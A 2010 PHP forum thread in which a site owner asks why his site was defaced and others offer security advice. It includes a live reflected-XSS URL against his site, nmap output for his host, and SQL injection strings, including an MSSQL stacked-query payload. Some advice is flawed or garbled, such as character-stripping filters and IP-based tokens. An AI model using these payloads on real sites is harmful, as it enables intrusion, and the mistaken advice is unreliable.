[RESOLVED] hacked – no idea how

@phoenixbytesAug 18.2010

Been hacked by some philipinos, and apparently it was “easy”.

no idea how though.

a list of what they did:
Changed site title (stored in the database)
changed the Email address of every single user to their site url.
made every user’s session id the same and every user’s ip address the same.

sessions are cookie based and trawling through the database has shown me no evidence of an sql injection.

i’m completely lost, my logs are less than useful.

any ideas?

to post a comment

PHP

38 Comments(s) _↴

@ShortsAug 18.2010 — #What's your site and what's your backend? Is it custom built or a product (open sourced or not).

Definitely sounds like a sql injection though. Not sure from where since I know nothing of your code yet its what it sounds like.

@phoenixbytesauthorAug 18.2010 — #it's phoenixbytes.co.uk

it'd be ace if there was a hacker on here who could go in and rag it about a bit and let me know what he found.

anyways, i've tried sql injections on it myself, but i don't really know how they work, i've tried mysql_real_escape_string() on most of my inputs but it doesn't seem to do much except put dopey backslashes everywhere when people use quotes.

i found out later that you shouldn't see those unless the host has magic quotes enabled...

confused.

@jkingstonAug 18.2010 — #I would expect it is code injection, be that SQL or php.

For them to edit the database like that they need to hacked into the database somehow, so either written some code to change fields in the database. The other is to hack your database password or phpmyadmin.

I would say using urls like: http://phoenixbytes.co.uk/logincheck.php?u=JonathanKingston&p=test is bad practice as this data would be passed on in the referrer value when going to another site.

mysql_real_escape_string will filter out characters that are not allowed in a mysql query, so this stops the hacker from breaking from the SQL statement and running another.

What you should also do is turn off magic_quotes, for other php settings you might want to run: http://phpsec.org/projects/phpsecinfo/index.html

Where I work we make it important to analyse all input going in to an application, scrutinize it and reject it if its not valid. Input should also should have be before outputting into another sub system EG: database, html, rss

Another important factor in security is security through depth, so in your case it is likely that the outside hacker used your login page. So first step would be to escape the output, another would be to remove the write access to the database on this page. By layering security when one measure fails another catches the hacker instead.

@phoenixbytesauthorAug 18.2010 — #the url does get changed once a user has logged in, i make sure nothing gets passed to the referer header, that's why i started using cookies in the first place.

i'll have a look at that link you put up.

thanks.

@jkingstonAug 18.2010 — #You just need to make sure you don't send the password in the get request, people could click to go to another site soon as they have logged in and their previous url would be sent to google.com, hacker.com or whatever.

Sessions are better storage of data with post being preferred for anything that is important/secure data.

@phoenixbytesauthorAug 19.2010 — #thankfully my host allows custom php.ini files, however i have to put one each in every single directory. lovely.

i've gone for green lights (as per your phpsecinfo list) where possible, with the exception of max_file_size etc and url_fopen (as i really need these, though i'm trying with cURL for the latter)

tomorrow i'll disable magic_quotes and work on stopping any possible sql attacks (huge ass job that one lol).

if anyone has any other ideas on how i can bolster security, i'd be most appreciative.

Thanks! ?

@kingdmAug 19.2010 — #Hi phoenixbytes,

Are you referring to Filipino? Do you happen to remember the name of the hacker?

@ShortsAug 19.2010 — #Phoenix, one thing you can do is transfer your SQL calls to MySQLi and use Prepared Statements.

You should probably be using MySQLi anyways as you should see a performance boost as well. It is also object oriented with some sweet features.

Besides that, with regular mysql_query I personally make sure all numbers are (int) or (float) and all strings are cleared.

[code=php]$sql = mysql_query("SELECT username FROM users WHERE user_id=".(int)$_POST['user_id']." AND password='".mysql_real_escape_string($_POST['password'])."'");[/code]

Although mysql_real_escape I use inside of a function, clean which also strips slashes if they were applied wrongly. (DB()->clean()).

@Jarrod1937Aug 19.2010 — #You still haven't mentioned what your backend is like. Does your backend give you the ability to alter everything the cracker (preferred over hacker) has altered? Either way, it is possible that they managed to steal your own session id, thus giving them admin privileges that may have given them access to other pages that perhaps have more lacking security than non-admin ones (i tend to see this a lot). This is quite possible since your site seems to be vulnerable to xss:

http://phoenixbytes.co.uk/resend-password.php?method=username&stringy=%27%27%27;%3Cimg%20src=http://jarrodchristman.com/gallery/3d_large/C42007-05-1117-07-16-35.jpg%20%3E&action=do

There is your site sporting an image of a 3d game level i did (shameless plug ;-). However, one could easily change this to be an external script that grabs the contents of a users cookie and sends it to the attacker, thus allowing them to impersonate an individual with the same id. If this individual is an admin, and being an admin gives access to the backend (meaning you don't have layered security measures), then that alone could lead to a site compromise. Many think they're safe if they simply escape ' and " (and the more obscure , r, n...etc for other attacks), but in reality, xss is quite easy to achieve without those simply because browsers are quite lenient in the markup. As such, you should also be running the output through htmlentities and possibly removing some specific characters to further strengthen security.

As for sql injection, as alreayd mentioned, your best bet is to cast sql input to the correct datatype (like int or float) and run strings through a function like mysql_real_escape_string. Though a word of advice, always abstract your sanitize code. Meaning, if you want to use mysql_real_escape_string, do the following:

[code=php]
 function clean_db_input($input){
 return mysql_real_escape_string($input);
 }
 [/code]

An extra function call may seem useless, but it is best to use a custom function as a way to abstract the code. Reason being, later down the road, you may want to augment the mysql_real_escape_string function with some extra processing... But if you simply applied mysql_real_escape_string directly within each and every query, you'd need to then apply any changes to each query... As opposed to simply editing your one clean_db_input function.

I'd first try to fix any xss vulnerabilities you may have. You should then make sure each query input variable is correctly cast to its appropriate type and strings are appropriately sanitized and escaped. You should then run every type of input you can through your queries. If you're appropriately handling user input, no invalid data should cause the query to fail with an error (though bad input may cause no results to be given). An error from user input means the query is being fed badly sanitized user input.

@jkingstonAug 19.2010 — #It is worth noting that phpsecinfo only hardens your site to some degree it doesn't take care of code injection and other security issues. Are you sure you can't put a php.ini in your root and it work the same?

Jarrod1937 has some good suggestions, one thing to note when doing SQL we usually write an SQL wrapper for all things related to the mysqli library. That way in the future we can change the processing code without changing the interface.

If your on linux a quick command line search is usually useful to find all old code EG: "grep -ri 'mysql' /projectfolder/"

As Jarrod1937 has said you want to remove any opportunity a hacker has to display things they want to the user using XSS. If you store messages in the session to display this would be a better alternative. Always assume $_GET, $_POST, $_SERVER, $_COOKIE are always littered with code that needs to be escaped as the user can input this then email it to another user. As Jarrod1937 points out the link he posted is mild, I could inject javascript to put anything on that page like stealing cookies to anything.

You have quite a lot to do here so here is a quick breakdown of the most of it:

- Filter inputs, only allow strings you know (Email addresses should look like an email, passwords should be x characters long, usernames should be xy and z)

- Escape outputs into your systems from foreign data, mysql(i)_real_escape_string(or similar), html_entities.

- Use sessions for application level messages and information

- Prefer post for forms for important information

- Hash and salt passwords in the database

- Phpsecinfo checks for all application level hardening

It is worth noting foreign data counts as anything not from PHP itself so database, $_GET, $_POST, $_COOKIES, external API's.

@phoenixbytesauthorAug 19.2010 — #i'm using the following function:

[code=php]function clean($string)
 {
 return htmlentities(mysql_real_escape_string($string));
 }[/code]

can anyone tell me if this will work?

i'm using this in a new include() file in my main scripts directory, so then i just include this in each file and wrap clean() around each GET/POST variable.

will this prevent SQL injections and/or XSS?

@jkingstonAug 19.2010 — #No no no no....you need to escape relevant to the subsystem, subsystems are html, mysql and so on. Don't escape for all at the same time.

Use htmlentities for html escaping and mysql_real_escape_string for mysql.

Mysql and mysqli you need to provide the database connection too as it escapes relevant to the database type too.

@phoenixbytesauthorAug 19.2010 — #how do i specify the db con? is there an extra parameter?

like
[code=php]mysql_real_escape_string("$string","$db_conn");[/code]
?

i'm now unsure how i'd implement the htmlentity cleaning.

@jkingstonAug 19.2010 — #Yes you don't need the double quotes though.

for html filtering anything from a none safe source do things like this:

echo "<p>".htmlentities($_POST['username'])."</p>"

@eval_BadCode_Aug 19.2010 — #

[CODE]
 Interesting ports on bajor.servers.rbl-mer.misp.co.uk (188.65.115.2):
 Not shown: 90 filtered ports
 PORT    STATE  SERVICE    VERSION
 21/tcp  open   ftp        PureFTPd
 53/tcp  closed domain
 80/tcp  open   http       Apache httpd 2.2.14 ((Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5...)
 110/tcp open   pop3       Courier pop3d
 143/tcp open   imap       Courier Imapd (released 2008)
 443/tcp open   http       Apache httpd 2.2.14 ((Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5...)
 587/tcp closed submission
 990/tcp closed ftps
 993/tcp open   ssl/imap   Courier Imapd (released 2008)
 995/tcp open   ssl/pop3   Courier pop3d
 
 Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 33.74 seconds
 [/CODE]

[CODE]
 even though it's hosted with a domain of misp, it's likely 2host.co.uk.
 [/CODE]

http://articles.sitepoint.com/article/php-security-blunders

They were probably just defacers. I wouldn't be surprised if they copied your db though. I hope your passwords were hashes. magic_quotes is turned on by default on shared hosting (most of the time), I might be wrong. But this article above will walk you through the most common php exploits and how to prevent them; some of which has been covered here. It's important that you know how to read what's in your php.ini file.

You can see it with <?php phpinfo() ?>, but, until you harden your security, try to keep this info private.

At least your login didn't fall for admin and ' OR '1'='1... because that would be way too easy.

----

I didn't know htmlentities was the html equiv for mysql_real_escape_string. I just tore through the output and removed common xss attempts.

like so:

<script type="text/javascript">alert('this wont work');</script>

so if you wanted to post that ^{^^{^,}} I would remove <script, </, script>, <, >, =,.. you can keep the ; tho lol.

@phoenixbytesauthorAug 20.2010 — #they may have stolen my database but that's doubtful. i can't say why lol

so can my database be snarfed with an xss attack or is it just an sql attack there?

will mysql_real_escape_string protect me from sql attacks or will i need other things?

i'm working on html seperately, just gonna str_replace various tags, like <script etc.

@eval_BadCode_Aug 20.2010 — #html_entities will help you prevent XSS (for the most part)

mysql_real_escape_string will help you prevent sqli (for the most part).

I suggest you validate your data, which is why this entire thing happened.

for example, if I'm selecting a post number. it's a number so type cast it

[code=php]$post = (int) ($_GET['post']); #this can still end up being negative, are all post #'s positive?[/code]

if you're saving a message to a database to post on the forums you do this:

[code=php]$message = mysql_real_escape_string($_POST['message']); <-- prevents SQL-Injection, doesn't guarantee your query will still run
 INSERT INTO posts (message) values ('$message');[/code]

now it's safely put into your db (ok, well for the most part).

[code=php]
 SELECT message ...blah blah blah...
 
 to let your users safely view the message (get rid of javascript):
 
 echo html_entities('$message'); <-- prevents XSS attacks (may have to transform what you're looking to replace w/ a table)
 [/code]

-----

SQL-Injection is an attack on the server's database or the server itself.

XSS is an attack on the server's clients/users. Sometimes it's possible to steal session credentials from the user and with these session variables log in as that user without knowing the username and the password.

There are three types of XSS attacks:

reflective: this type of attack (through forcing the user to redirect themselves on a 3rd party site[turning a trusted url into a malicious redirection]) makes use of input accepted on each page through $_get and $_post only. So if I went to forum.php?post=<script>document.altert(document.cookie()?;</script> and your site said "oops <?php echo $_GET['post'] ?> was not found." it will cause javascript to execute.

stored: where the user saves it directly to the page, either by putting the malicious code into a database then you repost it, or through some other mechanism to save it to a page on your website.

mixed: it creates a stored attack used to deliver many reflective attacks, or some nasty mix of these. (once you understand and combine the first two, you'll see why this type sucks to have happen to you). It turns a webpage into a portal for many more xss attacks.

Either attacks can be used in conjunction: so an reflective XSS attack may cause your site to drop all of it's tables, then you might never know who the attacker was. Or by injecting bad data into the database, you may have a bunch of java/javascript on your page all of a sudden.

if magic quotes is turned on, your database is somewhat safe from attacks (enough to stop stupid attackers). It doesn't mean that the data is all validated. An sql injection would look like this:

Lets say you're using the advanced search function on the forums:

find a user: eval(BadCode)'OR1=1;--

$sql = mysql_query("SELECT * FROM user WHERE username='eval(BadCode)' or 1=1--'");

mysql does not let you execute stacked queries, php doesn't care--if it sees it as a query and its inside mysql_query-- it'll run. If you want to take it a bit further you can try:

[code=php]'; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"[/code]

you can break out of the query and start executing php.

Both are web application attacks, they've been getting common over the past years.

@ShortsAug 20.2010 — #Another thing to be on the lookout for if you use AJAX. XSRF attacks, to stop the bulk of them is quite easy though, you set a cookie with a randomly generated id and then on AJAX calls you send that id along with it. On your PHP page you would make sure that the cookie id is equal to the sent id.

@Jarrod1937Aug 20.2010 — #
Both are web application attacks, they've been getting common over the past years.[/QUOTE]
A quick side note. Xss is unique to web applications, but sql-injection is not. I've seen desktop apps on a multiuser system (like inventory management apps) be vulnerable to sql injection themselves. This may allow one to bypass the login or access data they don't have permission to access. Essentially, any application that sends and receives data through a sql interface is vulnerable to sql-injection.

@phoenixbytesauthorAug 21.2010 — #Here' another question (sorry)...

When a user logs in i pass them through a page called logincheck.php

the login credentials are checked, if a pass is achieved a uniquid() is generated, it is then copied, one copy goes into the database, another into a cookie. The cookie is then compared to the contents of the database, this makes or breaks a user's session.

All i store in the cookie is this session id, nothing more.

Now i have something i call a unique ID (not very original i know)

this id is generated by a user's Agent, IP and a few other strings i pull from headers. this gets md5'd.

Would it be more secure to compare this aswell? as this unique id only changes for that user if they use another browser or disconnect/reconnect etc. This id is generated on visiting the site, but is not stored in a cookie and can only be replicated by having the same user agent, browser version and ip address as the original creator of said id.

that way, stealing a cookie would be useless...

Would that help security much?

like two session ids, so to speak, both created and validated in different ways.

@eval_BadCode_Aug 21.2010 — #The basic idea is to [U]never trust your user input.[/U]

User-Agent is user input if you're going to collect it/store it/use it to produce output etc.

http://img833.imageshack.us/img833/630/fakeuseragent.gif

While I've personally never seen someone attack a website using a fake user-agent as an attack vector, it's possible. When you cruise around with a fake user-agent for a while, you'll notice sites that tell you to get an 'A grade browser'.

Someone pointed out that SQL injection isn't unique to web applications, good point.

Another thing to be on the lookout for if you use AJAX. XSRF attacks, to stop the bulk of them is quite easy though, you set a cookie with a randomly generated id and then on AJAX calls you send that id along with it. On your PHP page you would make sure that the cookie id is equal to the sent id.[/QUOTE]

XSRF attacks, I should probably look into this since the majority of my sites incorporate some ajax. Thank you for the tip

Edit: Just looked at the XSRF attacks. I heard you're supposed to block these using "n-onces" or basically exactly what you say. Like a one time ticket.

@eval_BadCode_Aug 21.2010 — #actually you can block those ajax attacks by checking the http ref, anyone who spoofs that will figure out they need to stop it for the application to work (or you can just have the page return an error message explaining to stop that). It also makes it very very difficult for an attacker to forge the http refer without first finding another webpage on your site thats vulnerable to reflective xss to redirect off of.

Using nonces it understandable, but it's too much to think about if you're going to code it by hand. It's also not entirely scalable. It requires the ajax for function in a specific way, which is almost never the case for me.

@criterion9Aug 21.2010 — #actually you can block those ajax attacks by checking the http ref, anyone who spoofs that will figure out they need to stop it for the application to work (or you can just have the page return an error message explaining to stop that). It also makes it very very difficult for an attacker to forge the http refer without first finding another webpage on your site thats vulnerable to reflective xss to redirect off of.

Using nonces it understandable, but it's too much to think about if you're going to code it by hand. It's also not entirely scalable. It requires the ajax for function in a specific way, which is almost never the case for me.[/QUOTE]

FYI- The httpReferer can easily be spoofed as it is sent from client side in a header.

@eval_BadCode_Aug 21.2010 — #yes it can easily be spoofed exactly like user agent can.

but when you put my post into context, you realize I was talking about the XSRF attacks, and you'll see that it would be very difficult for an attacker to spoof the victims header's in that type of request.

@criterion9Aug 21.2010 — #Excerpt from the link below:

Can CSRF be prevented by implementing referrer checking?

No for two reasons.

First there are many ways that a Referer header can be blanked out or modified such as via web filtering software, parental control software, privacy software, proxies, or DOM trickery. This makes the referer header unreliable by nature.

Second Referer headers can be spoofed using XMLHTTP and by using flash as demonstrated by Amit Klein and rapid7. While these particular methods have been patched by the vendors, not every user visiting your website has applied these patches. Even if they did the first issue would still exist.
[/quote]
http://www.cgisecurity.com/csrf-faq.html

@eval_BadCode_Aug 22.2010 — #I should have known better to even propose httpref as a solution.

I just don't see how some of my ajax applications can integrate nonces...

I'm under the impression that EACH request gets an nonce... maybe I could just do a nfew and use one token for each page that gets created with ajax on it and compare that to the session.

Sometimes my ajax is clicking from a static menu and it updates a sum/total with some logic behind it that trims the answers, so only valid answers will be accepted ex:1-5, 6 is not an acceptable answer. The problem with this is that I don't know when I should tell the "nfew" to expire, maybe when they navigate away from the page, but absolutely when the session expires.

The alternative would be to reload the entire application, or create some type of reverse ajax that updates not just the total/counter, but also the menu. This is a LOT of coding to do by hand and I not do this for every piece of ajax, because that's an enormous amount of effort to mitigate a very small attack (change someone's selection from 1 to 2 3 4 or 5....) especially since they can review the selection after the fact.

Can you provide me with some sample code please.

Also I keep getting a warning from "Web Developer" an addon for firefox that:

server does not support RFC 5746, see CVE-2009-3555

I tried looking it up and found it. It looks like it has to do with MitM attacks. The site uses an SSL certificate. I would really appreciate any input since you're a grad student and I'm still an undergrad ?

@criterion9Aug 22.2010 — #If you are using JSON returns you can include the next "token" in the returned value. Then any request that is sent also appends the last "token" it received. When the request is received by the server a quick check against the session variable to verify the correct session and then set it to the new random string to also be passed back with the return. One downside to this method is that this would force all requests to happen sequentially. I would only recommend that for requests that might change something in the server state. A good case for not verifying the particular session would be a request for style/media/unprotected data and reserving the more intensive checking for more sensitive requests.

Additionally a hashed value that includes the requesting IP/user agent/other such identifiers can be used in addition to other methods to verify session integrity (though it should be noted that IP address might change during the same set of requests depending on ISP/LAN-to-WAN settings).

When looking at verifying that the current session has expired on the server you can use a simple "heartbeat" monitor that "calls home" at an interval. This would have the added benefit of allowing you to "keep alive" the session as needed and also track usage with additional packets along side the monitor.

I'm just a grad...not an active student currently (just working a ton). ?

@eval_BadCode_Aug 23.2010 — #I could include the token in the returned value, not a bad idea. I suppose I could just made a hidden div somewhere where there isn't a return value.

That seems to work, so I return this random token with the output and the client has the token.

Where should I put it? Do I save it as a session variable also, then for each request involving a token, change the session variable. I could just set the token when they log in/create a session. Or just feed them the token for each application once they get to a page where it would be required.

I don't use anything in the request headers, IP, user agent, httpref... All can be manipulated and all of them can change for a single session (I'm guessing, but most can). It's useful information most of the time, but it's also potentially an enormous mess.

@criterion9Aug 23.2010 — #I save the generated request token as a session variable each time it is created. It is destroyed when a request is made to prevent multiple submissions, requests in the incorrect sequence, etc. This will not work when you want multiple requests to be handled simultaneously during the same session.

@eval_BadCode_Aug 23.2010 — #So how do I feed them the first token?

At some point they'll enter the application, possibly leave, and come back during the same session.

What prevents the attacker from requesting a page that says "hey I'm back, I'm logged in, I have a session... give me my first token."

@criterion9Aug 23.2010 — #How would they be able to activate a new session normally? You don't automatically provide an authenticated session right?

@rootAug 23.2010 — #Ask your host what version of PHP they're using if its not the latest version that fixes security issues, then you have the answer.

If they are running any free period introductory offers, then this is open licence to hackers to sign up, hack away and leave lots of devistation behind them.

Google is used by hackers to pinpoint weak servers and sites that are potential or hackable sites being hosted on insecure or weak or buggy server-sides.

If you have no idea how your being hacked, this will be the way, a server-side hack.

@eval_BadCode_Aug 23.2010 — #google hackers are bottom feeders, completely an opinion.

No my authentication is perfectly fine. You need a legitimate username and password to access any application. The applications are split and the authentication is handled by a central server. Once authenticated, they're authorized with the application.

My question is, how do I feed the client their first token?

So my legitimate client has no token, and logs in... still no token?

An attacker making use of an XSRF attack vector has no token, but piggy backs off of my client's session.

My client has no token.

The attacker has no token.

How do I give my legitimate client their first token/set of tokens, and what makes this method of delivery secure from an attacker? Should there be some level of encryption added, a series of challenges between the server and legitimate client.

Can XSRF attacks only be used to send information, not receive?

@Jarrod1937Aug 23.2010 — #google hackers are bottom feeders, completely an opinion.[/QUOTE]

Quite true, i've done some myself (in whitehat style), and the targets are just too easy to find and too easy to "hack". Some actually have their server so misconfigured that you can find and read plain text versions of their password files...

However, google hacking has its place for real attacks/penetration testing as there is no reason why you can't limit your results to a particular target. In which case i consider it as part of the main data enumeration stage.

@criterion9Aug 23.2010 — #google hackers are bottom feeders, completely an opinion.

No my authentication is perfectly fine. You need a legitimate username and password to access any application. The applications are split and the authentication is handled by a central server. Once authenticated, they're authorized with the application.

My question is, how do I feed the client their first token?

So my legitimate client has no token, and logs in... still no token?

An attacker making use of an XSRF attack vector has no token, but piggy backs off of my client's session.

My client has no token.

The attacker has no token.

How do I give my legitimate client their first token/set of tokens, and what makes this method of delivery secure from an attacker? Should there be some level of encryption added, a series of challenges between the server and legitimate client.

Can XSRF attacks only be used to send information, not receive?[/QUOTE]

You include the token in the first render of your page. Again though, the token method is best for "restricted" areas like updating/deleting/selecting sensitive data/etc. The rest of the implementation is entirely up to how you want to play it out.

@rootAug 27.2010 — #

[code=php]
 $users_ip = $_SERVER['REMOTE_ADDR'];
 $secret_salt = "This is any string of text, values not imporant, it could be just random letters...";
 // lets make a token
 $token = md5( $users_ip.$secret_salt );
 
 // DO a token test at this point, if it does not match, reject the page
 
 [/code]

Then in your web page, you can do a number of things. Like have a hidden form or have a field that is hidden and readonly in the form so that the page submits to itself, that way you make a token and then test it against what is set or not... you than have a simple way of ensuring that the page came from your server.

[code=html]...>
 
 <form name="tokentest" action="./">
 <input name="token" type="hidden" value="<?php echo $token?>" readonly>
 
 <...[/code]

To give you an idea.

@eval_BadCode_Aug 27.2010 — #perfect. Thank you.

@PhoenixxApr 23.2011 — #Hey chris, how are you ? I didnt have ur email or other contact details b4 ...after months of googlin i finaly found u .lol hows life dude ? I miss 'phoenixbytes' . Hoping 2 hear frm u .

Also in #PHP _↴

striptags() & stripslashes() & htmlspecialchars() Still Needed ?Performance Test written in PHP Form to keep data if user presses back

Success!

Help @phoenixbytes spread the word by sharing this article on Twitter...

Tweet This

[RESOLVED] hacked – no idea how

38 Comments(s) _↴

Also in #PHP _↴

Success!

Social

Version

[RESOLVED] hacked – no idea how

38 Comments(s) ↴

Also in #PHP ↴

Success!

The web is an endless sea of information. Don't miss the boat... Subscribe!

Social

Version

38 Comments(s) _↴

Also in #PHP _↴